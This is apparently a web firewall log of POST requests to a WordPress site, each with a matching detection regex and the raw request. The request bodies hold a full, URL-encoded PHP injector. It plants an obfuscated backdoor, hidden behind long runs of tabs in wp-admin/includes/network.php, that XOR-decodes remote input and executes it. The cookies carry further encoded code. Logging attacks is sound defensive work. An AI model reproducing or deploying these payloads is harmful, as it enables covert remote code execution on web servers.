B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3701\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHR0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nPM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:49:37","141.98.11.117","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> BF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3701\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWznJ5xVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nBF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:49:46","46.62.254.35","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> px:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3701\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpUtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\npx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:50:14","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Tj:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524value%2529%2529%2520%257B%2520require%2520%2524k%253B%2520unlink%2528%2524k%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3701\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\nsec-ch-ua-mobile:?0\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvITbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-site:none\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\n\nTj=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/network.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_REQUEST%2529%2520%2526%2526%2520isset%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%2529%257B%2520%2524flag%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522m%255Cx72%255Cx6B%2522%255D%2529%253B%2520%2524value%2520%253D%2520%2527%2527%253B%2520%2524l%2520%253D%25200%253B%2520while%2528%2524l%2520%253C%2520strlen%2528%2524flag%2529%2529%257B%2524value%2520.%253D%2520chr%2528ord%2528%2524flag%255B%2524l%255D%2529%2520%255E%252049%2529%253B%2524l%252B%252B%253B%257D%2520%2524entry%2520%253D%2520array_filter%2528%255Bsession_save_path%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/var\/tmp%2522%255D%2529%253B%2520foreach%2520%2528%2524entry%2520as%2520%2524key%2520%253D%253E%2520%2524bind%2529%2520%257B%2520if%2520%2528is_dir%2528%2524bind%2529%2520%2526%2526%2520is_writable%2528%2524bind%2529%2529%2520%257B%2520%2524k%2520%253D%2520%2522%2524bind\/.ptr%2522%253B%2520if%2520%2528file_put_contents%2528%2524k%252C%2520%2524va